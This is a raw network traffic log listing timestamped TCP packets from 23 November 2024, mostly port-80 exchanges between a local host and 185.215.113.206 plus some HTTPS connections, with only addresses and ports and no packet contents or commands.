Nov 23, 2024 02:55:40.461334944 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.461365938 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.462032080 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.462104082 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.462174892 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.462239981 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.533828974 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.563122034 CET	49878	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:40.594929934 CET	443	49875	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:40.595779896 CET	49875	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:40.595803976 CET	443	49875	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:40.596395969 CET	49875	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:40.596401930 CET	443	49875	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:40.653299093 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.751519918 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:40.751929045 CET	49882	443	192.168.2.6	23.209.72.43
Nov 23, 2024 02:55:40.751948118 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:40.753076077 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:40.753170967 CET	49882	443	192.168.2.6	23.209.72.43
Nov 23, 2024 02:55:40.754211903 CET	49882	443	192.168.2.6	23.209.72.43
Nov 23, 2024 02:55:40.754281044 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:40.754722118 CET	49882	443	192.168.2.6	23.209.72.43
Nov 23, 2024 02:55:40.754730940 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:40.774667978 CET	443	49876	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:40.775144100 CET	49876	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:40.775170088 CET	443	49876	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:40.775605917 CET	49876	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:40.775613070 CET	443	49876	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:40.818451881 CET	49882	443	192.168.2.6	23.209.72.43
Nov 23, 2024 02:55:40.885807991 CET	443	49874	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:40.885884047 CET	443	49874	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:40.886058092 CET	49874	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:40.886142015 CET	49874	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:40.886162996 CET	443	49874	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:40.886174917 CET	49874	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:40.886179924 CET	443	49874	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:40.889322042 CET	49887	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:40.889406919 CET	443	49887	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:40.889636993 CET	49887	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:40.889765024 CET	49887	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:40.889801979 CET	443	49887	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:40.978382111 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.978506088 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.978539944 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.978600025 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.978802919 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.978849888 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.978956938 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.979341030 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.979429960 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.979737043 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.980207920 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.980273008 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.980350971 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.980350971 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.980992079 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.981059074 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.981096983 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.981192112 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.981817007 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.981878042 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.981931925 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.982151985 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.982642889 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.982749939 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.982810020 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.983475924 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.983614922 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.983700991 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.983793974 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.984313965 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.984373093 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.984397888 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.984473944 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.985177994 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.985244989 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.985295057 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.985467911 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.985965967 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.986077070 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.986097097 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.986129045 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.986804008 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.986905098 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.986939907 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.987098932 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.987612963 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.987668037 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.987732887 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.988441944 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.988473892 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.988506079 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.988565922 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.988836050 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.989267111 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.989384890 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.989429951 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.989429951 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.990092993 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.990174055 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.990210056 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.990247011 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.990931988 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.990998030 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.991132975 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.991739035 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.991846085 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.992083073 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.992578983 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.992660046 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.992703915 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.992703915 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.993402004 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.993525982 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.993779898 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.994229078 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.994380951 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.994493961 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.995079994 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.995225906 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.995296955 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.995897055 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.995975018 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.996010065 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.996138096 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.996716022 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.996774912 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.996956110 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.997613907 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.997673035 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.997683048 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.998011112 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.998377085 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.998492002 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.998560905 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.999193907 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.999257088 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.999298096 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.999526978 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.000026941 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.000142097 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.000235081 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.000859976 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.000957966 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.001024961 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.001681089 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.001750946 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.001785040 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.001846075 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.002507925 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.002578974 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.002604008 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.003340960 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.003357887 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.003441095 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.003519058 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.004164934 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.004265070 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.004410028 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.005012035 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.005024910 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.005100965 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.005816936 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.005928040 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.005981922 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.006231070 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.006599903 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.006680012 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.038520098 CET	443	49875	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.038597107 CET	443	49875	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.038820028 CET	49875	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:41.038882971 CET	49875	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:41.038882971 CET	49875	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:41.038903952 CET	443	49875	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.038914919 CET	443	49875	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.041490078 CET	49888	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:41.041539907 CET	443	49888	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.041604042 CET	49888	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:41.041738987 CET	49888	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:41.041752100 CET	443	49888	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.125474930 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.125571012 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.125610113 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.125880957 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.125916958 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.126102924 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.126542091 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.126641989 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.126761913 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.126962900 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.127073050 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.127177954 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.127794027 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.127901077 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.128005028 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.128463030 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.128477097 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.128557920 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.129255056 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.129338980 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.129431963 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.130079985 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.130140066 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.130203009 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.130362034 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.130888939 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.130994081 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.131050110 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.131732941 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.131818056 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.131830931 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.131942987 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.132579088 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.132591009 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.132772923 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.133363962 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.133444071 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.133485079 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.133562088 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.134202957 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.134332895 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.134407997 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.134459972 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.135024071 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.135081053 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.135118961 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.135207891 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.135922909 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.135936022 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.135976076 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.135994911 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.136707067 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.136759043 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.136802912 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.136854887 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.137518883 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.137620926 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.137643099 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.137778997 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.138360977 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.138372898 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.138430119 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.138431072 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.139193058 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.139280081 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.139472008 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.139991999 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.140045881 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.140083075 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.140230894 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.140819073 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.140916109 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.140932083 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.141050100 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.141660929 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.141681910 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.141880035 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.196450949 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.196479082 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.196618080 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.196840048 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.196952105 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.197031975 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.197092056 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.197366953 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.197887897 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.197952986 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.198075056 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.198538065 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.198684931 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.198755026 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.198772907 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.198900938 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.199161053 CET	49880	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:41.199191093 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.199501038 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.199598074 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.199614048 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.199647903 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.200331926 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.200397015 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.200431108 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.200664043 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.200730085 CET	49880	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:41.200763941 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.201179981 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.201261997 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.201343060 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.201437950 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.201978922 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.202099085 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.202119112 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.202157974 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.202833891 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.202944040 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.202965021 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.202999115 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.203119040 CET	49880	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:41.203217030 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.203571081 CET	49880	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:41.203578949 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.203639030 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.203749895 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.203783035 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.203855038 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.204468966 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.204579115 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.204592943 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.204668999 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.205290079 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.205399990 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.205399990 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.205563068 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.206134081 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.206212044 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.206238031 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.206687927 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.206943989 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.206974030 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.207046986 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.207793951 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.207930088 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.208035946 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.208611965 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.208661079 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.208699942 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.208930969 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.209445000 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.209556103 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.209587097 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.209913969 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.210251093 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.210370064 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.210417032 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.211085081 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.211158037 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.211195946 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.211919069 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.212032080 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.212168932 CET	49814	80	192.168.2.6	185.215.113.206
